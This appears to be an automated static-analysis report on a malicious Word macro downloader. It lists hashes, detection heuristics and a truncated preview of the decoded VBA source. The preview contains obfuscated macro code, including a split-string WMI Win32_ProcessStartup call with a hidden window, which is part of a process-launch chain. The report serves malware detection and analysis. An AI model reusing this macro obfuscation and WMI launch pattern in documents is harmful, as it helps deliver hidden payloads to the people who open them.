Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b6023dcb65cb1019…

MALICIOUS

Office (OLE)

318.4 KB Created: 2019-02-19 07:19:00 Authoring application: Microsoft Office Word First seen: 2019-10-01
MD5: 06984949b22b2731332cda273308b642 SHA-1: aadd3b40a31d1ac4d338a914c8c8f81679390bf6 SHA-256: b6023dcb65cb101934c893a93ad6d5875bd5d406eb0e3790b952d041bbf0b8a0
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of AutoOpen macros, GetObject/CreateObject calls, and WMI process creation, specifically targeting 'Win32_Process'. This suggests the macro's intent is to download and execute a second-stage payload. The obfuscation technique of splitting keywords further supports malicious intent. ClamAV also identified it as a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Sagent-6862747-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6862747-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 58409 bytes
SHA-256: 7e45a3ae96594f0616b8dbc31294b55ce949d97c50a862871c9b938e2c3519a8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "f963_82"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "A78728_9"
Function Z1878610()
   If m79_14_ <> z0062_91 Then
E709_88 = 570417512 + CSng(721917526) * 514974029 * ChrB(260250251) * (w85640 / CDbl(843577150 + CBool(R6225926 - Int(752905900 / K0_2__67 * 660625739 / Cos(h_90__7)))) - (j_6247 + Oct(651086320) + 233201310 / 956254445))
End If
   If z670603 <> w_4_9_ Then
Y5__956 = 867267554 + CSng(449505789) * 684844068 * ChrB(180823937) * (h92397 / CDbl(384359887 + CBool(a9___32 - Int(351621553 / u4_04852 * 81244828 / Cos(B18_5530)))) - (Q6__5_ + Oct(694535281) + 392551848 / 195895533))
End If
   If o__1991 <> j48_7575 Then
i7852_7 = 958139969 + CSng(975870631) * 601395422 * ChrB(119840296) * (n_6700 / CDbl(649420285 + CBool(K50658 - Int(851744498 / I24314 * 570607341 / Cos(I918_9)))) - (o2__0_95 + Oct(273709149) + 150300757 / 701495558))
End If
   If A8__72 <> q0__0_ Then
a__75_ = 419149900 + CSng(554080740) * 429310758 * ChrB(296153556) * (b5167_ / CDbl(471041483 + CBool(R2___84 - Int(961544814 / N58_76__ * 99346279 / Cos(X2_1980)))) - (s698393 + Oct(586304473) + 336321431 / 409107887))
End If
   If N831__ <> J4038852 Then
C73___5_ = 312000117 + CSng(159929781) * 978269809 * ChrB(558080469) * (S02304 / CDbl(645868060 + CBool(a__54_ - Int(746793932 / M362_7 * 540257336 / Cos(I09_996_)))) - (H652230 + Oct(943975477) + 257505369 / 504374210))
End If
   If j36795 <> R9_62_ Then
w6_19093 = 369075622 + CSng(435919870) * 506093391 * ChrB(54099791) * (L_1_3_ / CDbl(924158238 + CBool(O3937_50 - Int(496708797 / J3_19_84 * 86493351 / Cos(k535_54_)))) - (P87__734 + Oct(68435164) + 742886066 / 9384595))
End If
   If k_00_08 <> S___698 Then
b306__24 = 873265624 + CSng(916279321) * 169666341 * ChrB(529513272) * (L_194_ / CDbl(800804553 + CBool(i62__4 - Int(763954423 / G29__51_ * 594232985 / Cos(i125_815)))) - (N2_11_ + Oct(611244505) + 163912354 / 359714127))
End If
End Function
Function W75373__(Q4_794_, V6_86__)
On Error Resume Next
   If F4__2_ <> K_3_1_9_ Then
n5_5_20 = 848023901 + CSng(21007321) * 806757767 * ChrB(496474347) * (p_9708__ / CDbl(8542450 + CBool(B___5__8 - Int(120803175 / c8_7054 * 841035365 / Cos(c26467_)))) - (W_6_4_3 + Oct(749672484) + 554032596 / 184438729))
End If
   If M7_40_ <> i13928 Then
B__263 = 182559028 + CSng(964640245) * 121434213 * ChrB(955736244) * (i6_00732 / CDbl(963631994 + CBool(j301_39 - Int(155230028 / c_7129 * 46071774 / Cos(G0306358)))) - (T75644_ + Oct(706556403) + 120714680 / 445312175))
End If
   If V6____56 <> Y69882 Then
t_84__ = 162927767 + CSng(283246254) * 421321191 * ChrB(294460200) * (C4_810_ / CDbl(240157572 + CBool(H_65943 - Int(355556053 / w371338 * 14756968 / Cos(Y1_7347)))) - (t30_7__ + Oct(858675278) + 504287906 / 360915308))
End If
Set S7948_49 = GetObject(I63293_ + "winmgm" + I567_80_ + "ts:Win" + "32_Proce" + "ssStartup")
   If L8006333 <> B0_20418 Then
b58396__ = 321488531 + CSng(283660391) * 1249762 * ChrB(841159938) * (S1___9 / CDbl(141765814 + CBool(L5_2_19 - Int(796565483 / f3_172 * 999325145 / Cos(u3_378)))) - (b3_0_4_5 + Oct(844800649) + 697460099 / 280691688))
End If
   If d84__71 <> q4_81_ Then
J_4____1 = 140093555 + CSng(754524101) * 79461374 * ChrB(349630127) * (X3625_ / CDbl(14988876 + CBool(j_54795 - Int(961022563 / N5_49_ * 706129728 / Cos(f__008_9)))) - (a9028818 + Oct(555104387) + 476572082 / 423809514))
End If
S7948_49.ShowWindow = 942671 - 942671
   If w__8__ <> U587331 Then
f__7529 = 360643469 + CSng(634883051) * 546123877 * ChrB(518171291) * (L797___ / CDbl(116744221 + CBool(S14732 - Int(516362878 / W__11900 * 324749808 / Cos(T8__22)))) - (T2582996 + Oct(62283406) + 644440707 / 472145096))
End If
   If E__659 <> D74859 Then
f__573_3 = 436876181 + CSng(731715881) * 951588174 * ChrB(167753643) * (w8__7_ / CDbl(566947713 + CBool(h__578 - Int(86667308 / d_8__8 * 83851
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.